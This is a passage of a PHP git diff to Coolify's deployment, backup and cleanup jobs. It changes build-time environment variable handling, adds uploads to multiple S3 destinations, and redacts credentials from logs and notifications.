'dockercompose') { @@ -2173,6 +2220,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } foreach ($sorted_environment_variables as $env) { + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + if ($this->build_pack === 'railpack' && $this->is_reserved_docker_client_env_key($env->key)) { continue; } @@ -2322,23 +2373,22 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $environmentVariables = $this->pull_request_id === 0 ? $this->application->environment_variables()->get(['key', 'is_buildtime', 'is_runtime']) : $this->application->environment_variables_preview()->get(['key', 'is_buildtime', 'is_runtime']); - $validatesBuildtimeKeys = $buildsImage && $this->deploymentPassesBuildtimeVariables(); + $passesBuildtimeVariables = $this->deploymentPassesBuildtimeVariables(); foreach ($environmentVariables as $environmentVariable) { $key = (string) $environmentVariable->key; - $isEnvFileSafe = $key !== '' && strpbrk($key, "=\n\r\0") === false; - if (($environmentVariable->is_buildtime && $validatesBuildtimeKeys) || ! $isEnvFileSafe) { - $this->validatedBuildtimeEnvironmentVariableKey($key, 'the deployment environment'); + if (ValidationPatterns::isValidEnvironmentVariableKey($key)) { + continue; + } - continue; - } - // The deployment start already logged the warnings. - if ($buildsImage) { - continue; - } - if (! ValidationPatterns::isValidEnvironmentVariableKey($key)) { - $this->logLegacyEnvironmentVariableKey($key, (bool) $environmentVariable->is_buildtime, (bool) $environmentVariable->is_runtime); + $isEnvFileSafe = $key !== '' && strpbrk($key, "=\n\r\0") === false; + $isLegacyBuildtimeKey = preg_match('/\A[A-Za-z0-9_.-]+\z/', $key) === 1; + $isPassedToBuild = $environmentVariable->is_buildtime && $passesBuildtimeVariables && $buildsImage; + if (! $isEnvFileSafe || ($isPassedToBuild && ! $isLegacyBuildtimeKey)) { + $this->validatedBuildtimeEnvironmentVariableKey($key, 'the deployment environment'); } + + $this->logLegacyEnvironmentVariableKey($key, (bool) $environmentVariable->is_buildtime, (bool) $environmentVariable->is_runtime, $passesBuildtimeVariables); } } @@ -2351,7 +2401,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return $this->application->build_pack !== 'dockerimage'; } - private function logLegacyEnvironmentVariableKey(string $key, bool $isBuildtime, bool $isRuntime): void + private function logLegacyEnvironmentVariableKey(string $key, bool $isBuildtime, bool $isRuntime, bool $passesBuildtimeVariables): void { $suggestedKey = (string) preg_replace('/[^A-Za-z0-9_]/', '_', $key); if (preg_match('/\A[0-9]/', $suggestedKey) === 1) { @@ -2360,18 +2410,33 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $displayKey = ValidationPatterns::displayShellEnvironmentVariableKey($key); - if ($isBuildtime) { - $this->application_deployment_queue->addLogEntry("⚠️ Build-time variable {$displayKey} uses a name that new variables cannot use. It is not used as a build-time variable unless the deployment builds an image, and that build fails until you rename it.", 'stderr'); - } - if ($isRuntime) { - $this->application_deployment_queue->addLogEntry("⚠️ Runtime variable {$displayKey} uses a name that new variables cannot use. It is still passed to the container, but shell scripts cannot read it.", 'stderr'); - } - if (! $isBuildtime && ! $isRuntime) { - $this->application_deployment_queue->addLogEntry("⚠️ Variable {$displayKey} uses a name that new variables cannot use. This deployment does not use it.", 'stderr'); + if ($isBuildtime && $passesBuildtimeVariables) { + $this->application_deployment_queue->addLogEntry("⚠️ Build-time variable {$displayKey} uses a name that new variables cannot use. It is skipped during the build".($isRuntime ? ', but is still passed to the container.' : '.'), 'stderr'); + } else { + if ($isBuildtime) { + $this->application_deployment_queue->addLogEntry("⚠️ Build-time variable {$displayKey} uses a name that new variables cannot use. This deployment does not build an image, so it is not used as a build-time variable. Rename it before you use it in a build.", 'stderr'); + } + if ($isRuntime) { + $this->application_deployment_queue->addLogEntry("⚠️ Runtime variable {$displayKey} uses a name that new variables cannot use. It is still passed to the container, but shell scripts cannot read it.", 'stderr'); + } + if (! $isBuildtime && ! $isRuntime) { + $this->application_deployment_queue->addLogEntry("⚠️ Variable {$displayKey} uses a name that new variables cannot use. This deployment does not use it.", 'stderr'); + } } $this->application_deployment_queue->addLogEntry(' Suggested name: '.ValidationPatterns::displayShellEnvironmentVariableKey($suggestedKey), type: 'info'); } + /** + * Skip build-time variables with names that new variables can no longer use (such as my-var). + * validateDeploymentEnvironmentVariableKeys() logs a warning for them before the deployment starts. + */ + private function withoutLegacyEnvironmentVariableKeys(Collection $environmentVariables): Collection + { + return $environmentVariables->filter( + fn (EnvironmentVariable $environmentVariable): bool => ValidationPatterns::isValidEnvironmentVariableKey((string) $environmentVariable->key) + ); + } + private function logInvalidBuildtimeEnvironmentVariableKey(string $key, string $origin): void { $displayKey = ValidationPatterns::displayShellEnvironmentVariableKey($key); @@ -2407,6 +2472,33 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->application_deployment_queue->addLogEntry(" Suggested name: {$displaySuggestedKey}", type: 'info'); } + /** + * Remove variables with dotted names from a Nixpacks or Railpack build. + * + * Nixpacks and Railpack cut these names at the first dot, and their Debian-based + * images run build commands through dash, which drops dotted names from the + * environment. The variables are still available at runtime. + */ + private function withoutDottedBuildVariables(Collection $variables, string $builder): Collection + { + $dottedKeys = $variables->keys() + ->map(fn ($key): string => (string) $key) + ->filter(fn (string $key): bool => str_contains($key, '.')) + ->values(); + + if ($dottedKeys->isEmpty()) { + return $variables; + } + + foreach ($dottedKeys as $key) { + $this->application_deployment_queue->addLogEntry('⚠️ Build-time variable '.ValidationPatterns::displayShellEnvironmentVariableKey($key)." has a dot in its name, which {$builder} cannot pass to the build. It is skipped during the build, but is still passed to the container.", 'stderr'); + $this->logSuggestedShellEnvironmentVariableKey($key); + } + $this->application_deployment_queue->addLogEntry(' If the build needs the value, rename the variable. Otherwise, disable "Available at Buildtime" for it.', type: 'info'); + + return $variables->reject(fn ($value, $key): bool => str_contains((string) $key, '.')); + } + private function save_buildtime_environment_variables() { $environment_variables = $this->generate_buildtime_environment_variables(); @@ -2517,6 +2609,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $nixpacks_php_fallback_path->value = '/index.php'; $nixpacks_php_fallback_path->resourceable_id = $this->application->id; $nixpacks_php_fallback_path->resourceable_type = 'App\Models\Application'; + $nixpacks_php_fallback_path->is_preview = $this->pull_request_id !== 0; $nixpacks_php_fallback_path->save(); } if (! $nixpacks_php_root_dir) { @@ -2525,6 +2618,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $nixpacks_php_root_dir->value = '/app/public'; $nixpacks_php_root_dir->resourceable_id = $this->application->id; $nixpacks_php_root_dir->resourceable_type = 'App\Models\Application'; + $nixpacks_php_root_dir->is_preview = $this->pull_request_id !== 0; $nixpacks_php_root_dir->save(); } @@ -2714,11 +2808,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue if ($this->application->build_pack === 'dockerfile') { $this->add_build_env_variables_to_dockerfile(); } - if ($this->application->build_pack === 'railpack') { - $this->build_railpack_image(); - } else { - $this->build_image(); - } + $this->build_pull_request_image(); // This overwrites the build-time .env with ALL variables (build-time + runtime) $this->save_runtime_environment_variables(); @@ -2726,6 +2816,15 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $this->rolling_update(); } + private function build_pull_request_image(): void + { + match ($this->application->build_pack) { + 'railpack' => $this->build_railpack_image(), + 'static' => $this->build_static_image(), + default => $this->build_image(), + }; + } + private function create_workdir() { if ($this->use_build_server) { @@ -3048,6 +3147,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } } } + $this->reuse_commit_message(); $this->set_coolify_variables(); // Restart helper container with actual SOURCE_COMMIT value @@ -3057,6 +3157,29 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } } + /** + * The commit message is read from the cloned repository. Deployments that skip the build or fail + * before the clone reuse the message stored by an earlier deployment of the same commit. + */ + private function reuse_commit_message(): void + { + if (filled($this->application_deployment_queue->commit_message) || $this->shouldResolveBranchHeadCommit()) { + return; + } + + $commitMessage = ApplicationDeploymentQueue::query() + ->where('application_id', $this->application->id) + ->where('commit', $this->commit) + ->whereNotNull('commit_message') + ->where('commit_message', '!=', '') + ->latest('id') + ->value('commit_message'); + + if (filled($commitMessage)) { + $this->application_deployment_queue->update(['commit_message' => $commitMessage]); + } + } + private function shouldResolveBranchHeadCommit(): bool { $commit = trim($this->commit); @@ -3168,7 +3291,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue // Do any modifications here // We need to generate envs here because nixpacks need to know to generate a proper Dockerfile $this->generate_env_variables(); - $merged_envs = collect(data_get($parsed, 'variables', []))->merge($this->env_args); + $merged_envs = $this->withoutDottedBuildVariables( + collect(data_get($parsed, 'variables', []))->merge($this->env_args), + 'Nixpacks', + ); $aptPkgs = data_get($parsed, 'phases.setup.aptPkgs', []); if (count($aptPkgs) === 0) { $aptPkgs = ['curl', 'wget']; @@ -3338,8 +3464,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue ? $this->application->railpack_environment_variables()->get() : $this->application->railpack_environment_variables_preview()->get(); - $variables = $genericBuildVariables - ->merge($railpackVariables) + $variables = $this->withoutLegacyEnvironmentVariableKeys($genericBuildVariables->merge($railpackVariables)) ->mapWithKeys(function (EnvironmentVariable $environmentVariable) { $value = $this->normalize_resolved_build_variable_value($environmentVariable); if (is_null($value) || $value === '') { @@ -3348,6 +3473,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return [$environmentVariable->key => $value]; }); + $variables = $this->withoutDottedBuildVariables($variables, 'Railpack'); if ($this->application->install_command) { $variables->put('RAILPACK_INSTALL_CMD', $this->application->install_command); @@ -3449,7 +3575,9 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $environmentPrefix = $this->railpack_build_environment_prefix($controlVariables); $secretFlags = $this->railpack_build_secret_flags($variables); - $frontendImage = 'ghcr.io/railwayapp/railpack-frontend:v'.config('constants.coolify.railpack_version'); + // The helper image sets RAILPACK_VERSION, so the frontend always matches the Railpack CLI in the helper. + // Helper images without it fall back to the version of the Railpack CLI itself. + $frontendImage = 'ghcr.io/railwayapp/railpack-frontend:v${RAILPACK_VERSION:-$(railpack --version | cut -d " " -f 3)}'; $buildxBuildCommand = "{$environmentPrefix}DOCKER_CONFIG=/root/.docker docker buildx build --builder coolify-railpack" ." {$this->addHosts} --network host" @@ -3855,12 +3983,17 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); + $envs = $this->withoutLegacyEnvironmentVariableKeys($envs); if ($this->build_pack === 'dockercompose') { $envs = $envs->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); } foreach ($envs as $env) { + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + $resolvedValue = $this->uses_remote_secret_references($env) ? $this->resolve_environment_variable_raw($env) : $env->getResolvedValueWithServer($this->mainServer); @@ -3873,12 +4006,17 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); + $envs = $this->withoutLegacyEnvironmentVariableKeys($envs); if ($this->build_pack === 'dockercompose') { $envs = $envs->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); } foreach ($envs as $env) { + if ($this->shouldOmitBlankComposeEnvironmentVariable($env)) { + continue; + } + $resolvedValue = $this->uses_remote_secret_references($env) ? $this->resolve_environment_variable_raw($env) : $env->getResolvedValueWithServer($this->mainServer); @@ -3914,6 +4052,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); $labels = collect(generateLabelsApplication($this->application, $this->preview)); } $labels = $this->useDestinationNetworkInCaddyLabels($labels); + $labels = traefikHostRulesWithoutIpv6Brackets($labels); if ($this->application->settings->is_container_label_escape_enabled) { $labels = $labels->map(function ($value, $key) { return escapeDollarSign($value); @@ -4215,7 +4354,9 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); $method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET'); $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http'); - $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost'); + $host = ValidationPatterns::isValidHealthCheckHost($this->application->health_check_host) + ? formatHostForUrl($this->application->health_check_host) + : 'localhost'; $path = $this->application->health_check_path ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%,;]+$#', '/') : null; @@ -4875,21 +5016,6 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); $this->analyzeBuildTimeVariables($variables); } - $requiresDottedEnvironmentSecrets = $this->application->build_pack === 'nixpacks' - && $variables->keys()->contains(fn ($key): bool => str_contains((string) $key, '.')); - - if ($requiresDottedEnvironmentSecrets) { - if (! $this->dockerSecretsAvailable) { - $dottedKeys = $variables->keys() - ->filter(fn ($key): bool => str_contains((string) $key, '.')) - ->implode(', '); - - throw new DeploymentException("Dotted Nixpacks build-time environment variable names require Docker BuildKit secret support: {$dottedKeys}. Rename these keys to use underscores instead of dots, or upgrade Docker on the build server."); - } - - $this->dockerSecretsSupported = true; - } - if ($this->dockerSecretsSupported) { $this->generate_build_secrets($variables); $this->build_args = ''; @@ -5074,6 +5200,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); + $envs = $this->withoutLegacyEnvironmentVariableKeys($envs); foreach ($envs as $env) { $key = $this->validatedBuildtimeEnvironmentVariableKey((string) $env->key, 'the generated Dockerfile'); $argsToInsert->push("ARG {$key}"); @@ -5093,6 +5220,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); ->withoutBuildpackControlVariables() ->where('is_buildtime', true) ->get(); + $envs = $this->withoutLegacyEnvironmentVariableKeys($envs); foreach ($envs as $env) { $key = $this->validatedBuildtimeEnvironmentVariableKey((string) $env->key, 'the generated Dockerfile'); $argsToInsert->push("ARG {$key}"); @@ -5183,37 +5311,6 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); return; } - $dottedKeys = $variables->keys() - ->map(fn ($key): string => (string) $key) - ->filter(fn (string $key): bool => str_contains($key, '.')); - - if ($dottedKeys->isNotEmpty()) { - $originalDockerfile = $dockerfile; - $dockerfile = $dockerfile->map(function (string $line) use ($dottedKeys): ?string { - $trimmedLine = trim($line); - - if (! str_starts_with($trimmedLine, 'ARG ') && ! str_starts_with($trimmedLine, 'ENV ')) { - return $line; - } - - [$instruction, $arguments] = explode(' ', $trimmedLine, 2); - $filteredArguments = collect(preg_split('/\s+/', $arguments)) - ->reject(function (string $argument) use ($dottedKeys): bool { - $key = str($argument)->before('=')->toString(); - - return $dottedKeys->contains($key); - }); - - if ($filteredArguments->isEmpty()) { - return null; - } - - return $instruction.' '.$filteredArguments->implode(' '); - })->filter()->values(); - - $modified = $dockerfile->all() !== $originalDockerfile->values()->all(); - } - // Generate mount strings for all secrets $mountStrings = $variables->map(function ($value, $key) { $key = $this->validatedBuildtimeEnvironmentVariableKey((string) $key, 'the generated Dockerfile'); @@ -5224,7 +5321,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); // Add mount for the secrets hash to ensure cache invalidation $mountStrings .= ' --mount=type=secret,id=COOLIFY_BUILD_SECRETS_HASH,env=COOLIFY_BUILD_SECRETS_HASH'; - $modified ??= false; + $modified = false; $dockerfile = $dockerfile->map(function ($line) use ($mountStrings, &$modified) { $trimmed = ltrim($line); @@ -5930,13 +6027,17 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); { $this->failDeployment(); - // Log comprehensive error information + // failed() runs on a fresh job instance, so remote secrets fetched during the deployment are not loaded here. + // Every entry still passes through ApplicationDeploymentQueue::redactLogText(); raw stack traces are not written + // because their truncated arguments can hold partial secrets that redaction cannot match. $errorMessage = $exception->getMessage() ?: 'Unknown error occurred'; $errorCode = $exception->getCode(); $errorClass = get_class($exception); $this->application_deployment_queue->addLogEntry('========================================', 'stderr'); - if ($exception instanceof DeploymentException && $exception->isMessageAlreadyLogged()) { + if ($exception instanceof TimeoutExceededException) { + $this->application_deployment_queue->addLogEntry("Deployment failed: Timeout of {$this->timeout} seconds exceeded. Increase the deployment timeout in the Server settings (Advanced > Builds).", 'stderr'); + } elseif ($exception instanceof DeploymentException && $exception->isMessageAlreadyLogged()) { $this->application_deployment_queue->addLogEntry('Deployment failed.', 'stderr'); } else { $this->application_deployment_queue->addLogEntry("Deployment failed: {$errorMessage}", 'stderr'); @@ -5956,14 +6057,6 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); $this->application_deployment_queue->addLogEntry(" {$previousClass}: {$previousMessage}", 'stderr', hidden: true); $this->application_deployment_queue->addLogEntry(" at {$previous->getFile()}:{$previous->getLine()}", 'stderr', hidden: true); } - - // Log first few lines of stack trace for debugging - $trace = $exception->getTraceAsString(); - $traceLines = explode("\n", $trace); - $this->application_deployment_queue->addLogEntry('Stack trace (first 5 lines):', 'stderr', hidden: true); - foreach (array_slice($traceLines, 0, 5) as $traceLine) { - $this->application_deployment_queue->addLogEntry(" {$traceLine}", 'stderr', hidden: true); - } $this->application_deployment_queue->addLogEntry('========================================', 'stderr'); if ($this->application->build_pack !== 'dockercompose') { diff --git a/app/Jobs/CoolifyTask.php b/app/Jobs/CoolifyTask.php index cac687fc85..fe7237ccf4 100755 --- a/app/Jobs/CoolifyTask.php +++ b/app/Jobs/CoolifyTask.php @@ -99,14 +99,17 @@ class CoolifyTask implements ShouldBeEncrypted, ShouldQueue 'job' => 'CoolifyTask', 'activity_id' => $this->activity->id, 'server_uuid' => $this->activity->getExtraProperty('server_uuid'), - 'error' => $exception?->getMessage(), + 'error' => $exception ? remove_iip($exception->getMessage()) : null, 'total_attempts' => $this->attempts(), 'trace' => $exception?->getTraceAsString(), ]); // A database import whose restore can still run in the database container stays in progress // until its stop has run, so it keeps blocking other operations on the database. - if (DatabaseImportCleanup::stopAfterTaskFailure($this->activity, $exception?->getMessage() ?: 'Job permanently failed')) { + // The message can contain command output or the SSH command, so store only a redacted copy. + $message = filled($exception?->getMessage()) ? remove_iip($exception->getMessage()) : null; + + if (DatabaseImportCleanup::stopAfterTaskFailure($this->activity, $message ?: 'Job permanently failed')) { RemoteProcessCommand::forget($this->activity); return; @@ -118,7 +121,7 @@ class CoolifyTask implements ShouldBeEncrypted, ShouldQueue $stopRequested = DatabaseImportCleanup::stopRequested($this->activity); $this->activity->properties = $this->activity->properties->merge(array_filter([ 'status' => ProcessStatus::ERROR->value, - 'error' => $stopRequested ? null : ($exception?->getMessage() ?? 'Job permanently failed'), + 'error' => $stopRequested ? null : ($message ?? 'Job permanently failed'), 'failed_at' => now()->toIso8601String(), ], fn ($value) => $value !== null)); $this->activity->save(); diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 92d24bab3d..55f43ab0a3 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -20,9 +20,11 @@ use App\Notifications\Database\BackupSuccess; use App\Notifications\Database\BackupSuccessWithS3Warning; use App\Rules\SafeWebhookUrl; use App\Services\ScheduledJobDeliveryService; +use App\Services\Security\SensitiveDataRedactor; use App\Support\BackupCompression; use App\Support\ClickhouseBackupCommand; use App\Support\DatabaseOperationReservation; +use App\Support\PostgresUser; use App\Support\ResourceStartActivity; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -83,8 +85,6 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue public ?string $mongo_root_password = null; - public ?S3Storage $s3 = null; - public $timeout = 3600 + self::WORKER_TIMEOUT_MARGIN_SECONDS; public ?string $backup_log_uuid = null; @@ -129,11 +129,9 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->service->server; - $this->s3 = $this->backup->s3; } else { $this->database = data_get($this->backup, 'database'); $this->server = $this->database->destination->server; - $this->s3 = $this->backup->s3; } if (is_null($this->server)) { throw new \Exception('Server not found?!'); @@ -170,18 +168,11 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $this->directory_name = $serviceName.'-'.$this->container_name; $escapedContainerName = escapeshellarg($this->container_name); if (str($databaseType)->contains('postgres')) { - $commands[] = "docker exec {$escapedContainerName} env | grep POSTGRES_"; + $commands[] = "docker exec {$escapedContainerName} env | grep -E '^(POSTGRES|PGUSER=)'"; $envs = instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true); $envs = str($envs)->explode("\n"); - $user = $envs->filter(function ($env) { - return str($env)->startsWith('POSTGRES_USER='); - })->first(); - if ($user) { - $this->database->postgres_user = str($user)->after('POSTGRES_USER=')->value(); - } else { - $this->database->postgres_user = 'postgres'; - } + $this->database->postgres_user = PostgresUser::fromEnvLines($envs); $db = $envs->filter(function ($env) { return str($env)->startsWith('POSTGRES_DB='); @@ -329,6 +320,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $this->backup_location = null; $this->backup_output = null; $this->error_output = null; + $this->s3_uploaded = false; // Generate unique UUID for each database backup execution $attempts = 0; @@ -457,10 +449,11 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue } catch (Throwable $e) { // Local backup failed: the partial file is not tracked, so retention would never remove it. deleteBackupsLocally($this->backup_location, $this->server); + $failureMessage = $this->redact($this->error_output ?? $this->backup_output ?? $e->getMessage()); if ($this->backup_log) { $this->backup_log->update([ 'status' => 'failed', - 'message' => $this->error_output ?? $this->backup_output ?? $e->getMessage(), + 'message' => $failureMessage, 'size' => $size, 'filename' => null, 's3_uploaded' => null, @@ -468,7 +461,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue ]); } try { - $this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database)); + $this->team?->notify(new BackupFailed($this->backup, $this->database, $failureMessage, $database)); } catch (Throwable $notifyException) { Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [ 'backup_id' => $this->backup->uuid, @@ -484,22 +477,22 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $localStorageDeleted = false; if ($this->backup->save_s3 && $localBackupSucceeded) { try { - $this->upload_to_s3(); + $s3UploadError = $this->uploadToS3Destinations(); - // If local backup is disabled, delete the local file immediately after S3 upload - if ($this->backup->disable_local_backup) { + // If local backup is disabled, delete the local file only when every destination has a copy + if ($s3UploadError === null && $this->backup->disable_local_backup) { deleteBackupsLocally($this->backup_location, $this->server); $localStorageDeleted = true; } } catch (Throwable $e) { // S3 upload failed but local backup succeeded - $s3UploadError = $e->getMessage(); + $s3UploadError = $this->redact($e->getMessage()); } } // Step 3: Update status and send notifications based on results if ($localBackupSucceeded) { - $message = $this->backup_output; + $message = $this->backup_output === null ? null : $this->redact($this->backup_output); if ($s3UploadError) { $message = $message @@ -843,9 +836,15 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue return devHostDockerPath($this->server, $this->backup_location); } - private function upload_to_s3(): void + /** + * Uploads the backup file to every selected S3 destination and records one replica per destination. + * + * @return string|null The failed destinations and their errors, or null when every upload succeeded. + */ + private function uploadToS3Destinations(): ?string { - if (is_null($this->s3)) { + $storages = $this->backup->selectedS3Storages(); + if ($storages->isEmpty()) { $previousS3StorageId = $this->backup->s3_storage_id; $this->backup->update([ @@ -856,13 +855,43 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($previousS3StorageId ?? 'null').'). S3 backup has been disabled for this schedule.'); } + $failures = []; + foreach ($storages as $storage) { + $uploaded = false; + $uploadError = null; + try { + $this->upload_to_s3($storage); + $uploaded = true; + } catch (Throwable $e) { + $uploadError = $this->redact($e->getMessage()); + $failures[] = "{$storage->name}: {$uploadError}"; + } + + try { + $this->backup_log->s3Replicas()->create([ + 's3_storage_id' => $storage->id, + 's3_uploaded' => $uploaded, + 'message' => $uploadError, + ]); + } catch (Throwable $e) { + $failures[] = "{$storage->name}: {$this->redact($e->getMessage())}"; + } + } + + $this->backup_log->refreshS3Summary(); + $this->s3_uploaded = $failures === []; + + return $failures === [] ? null : implode("\n", $failures); + } + + protected function upload_to_s3(S3Storage $s3): void + { try { - $key = $this->s3->key; - $secret = $this->s3->secret; - // $region = $this->s3->region; - $bucket = $this->s3->bucket; - $endpoint = $this->s3->endpoint; - $this->s3->testConnection(shouldSave: true); + $key = $s3->key; + $secret = $s3->secret; + $bucket = $s3->bucket; + $endpoint = $s3->endpoint; + $s3->testConnection(shouldSave: true); if (data_get($this->backup, 'database_type') === ServiceDatabase::class) { $network = $this->database->service->destination->network; } else { @@ -883,18 +912,16 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $escapedSecret = escapeshellarg($secret); $escapedBackupLocation = escapeshellarg($this->backup_location); $escapedS3Destination = escapeshellarg("temporary/{$bucket}{$this->backup_dir}/"); - $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($endpoint, $this->s3->trustedInternalHosts())) + $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($endpoint, $s3->trustedInternalHosts())) ->map(fn (string $resolveOption): string => '--resolve '.escapeshellarg($resolveOption)) ->implode(' '); $resolveOptions = $resolveOptions === '' ? '' : ' '.$resolveOptions; $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set{$resolveOptions} temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; - $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp {$escapedBackupLocation} {$escapedS3Destination}"; + $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp{$resolveOptions} {$escapedBackupLocation} {$escapedS3Destination}"; instant_remote_process($commands, $this->server, true, false, $this->commandTimeout(), disableMultiplexing: true); - $this->s3_uploaded = true; } catch (Throwable $e) { - $this->s3_uploaded = false; $this->add_to_error_output($e->getMessage()); throw $e; } finally { @@ -1069,7 +1096,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue foreach ($unfinished as $execution) { $execution->update([ 'status' => 'failed', - 'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'), + 'message' => $this->redact('Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error')), 'size' => 0, 'filename' => null, 'finished_at' => Carbon::now(), @@ -1080,7 +1107,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue return; } - $output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error'; + $output = $this->redact($this->backup_output ?? $exception?->getMessage() ?? 'Unknown error'); $databaseNames = $unfinished->isEmpty() ? ['unknown'] : $unfinished->map(fn (ScheduledDatabaseBackupExecution $execution) => $execution->database_name ?? 'unknown'); foreach ($databaseNames as $databaseName) { try { @@ -1094,6 +1121,31 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue } } + /** + * Redact the backed-up database credentials and the key and secret of every S3 destination from text that is stored or sent in notifications. + */ + private function redact(string $text): string + { + try { + $database = $this->database ?? $this->backup->database; + $s3 = $this->s3 ?? $this->backup->s3; + $lockedSecrets = [$this->postgres_password, $this->mongo_root_password, $s3?->key, $s3?->secret]; + foreach ($this->backup->selectedS3Storages() as $storage) { + $lockedSecrets[] = $storage->key; + $lockedSecrets[] = $storage->secret; + } + foreach (array_keys($database?->getAttributes() ?? []) as $attribute) { + if (str_contains($attribute, 'password')) { + $lockedSecrets[] = $database->getAttribute($attribute); + } + } + } catch (Throwable) { + return SensitiveDataRedactor::FAILURE_MESSAGE; + } + + return app(SensitiveDataRedactor::class)->redactText($text, lockedSecrets: array_filter($lockedSecrets, fn ($secret): bool => is_string($secret) && $secret !== '')); + } + /** * @return Collection */ diff --git a/app/Jobs/DeleteResourceJob.php b/app/Jobs/DeleteResourceJob.php index b73c2c5a7a..d5e8aaf4ff 100644 --- a/app/Jobs/DeleteResourceJob.php +++ b/app/Jobs/DeleteResourceJob.php @@ -115,7 +115,7 @@ class DeleteResourceJob implements ShouldBeEncrypted, ShouldQueue $server = data_get($this->resource, 'destination.server'); if ($server) { $this->resource->team()?->notify(new GeneralNotification( - "'{$this->resource->name}' was removed from Coolify, but its Docker resources could not be removed from server '{$server->name}' and may still exist there. Error: {$e->getMessage()}", + "'{$this->resource->name}' was removed from Coolify, but its Docker resources could not be removed from server '{$server->name}' and may still exist there. Error: ".remove_iip($e->getMessage()), success: false, )); } diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index 1a338f093f..ed430a600c 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -187,14 +187,15 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue } } catch (\Throwable $e) { $failed = true; + $errorMessage = remove_iip($e->getMessage()); if ($this->execution_log) { $this->execution_log->update([ 'status' => 'failed', - 'message' => $e->getMessage(), + 'message' => $errorMessage, ]); event(new DockerCleanupDone($this->execution_log)); } - $this->server->team?->notify(new DockerCleanupFailed($this->server, 'Docker cleanup job failed with the following error: '.$e->getMessage())); + $this->server->team?->notify(new DockerCleanupFailed($this->server, 'Docker cleanup job failed with the following error: '.$errorMessage)); throw $e; } finally { if (! $failed && $this->occurrenceUuid) { 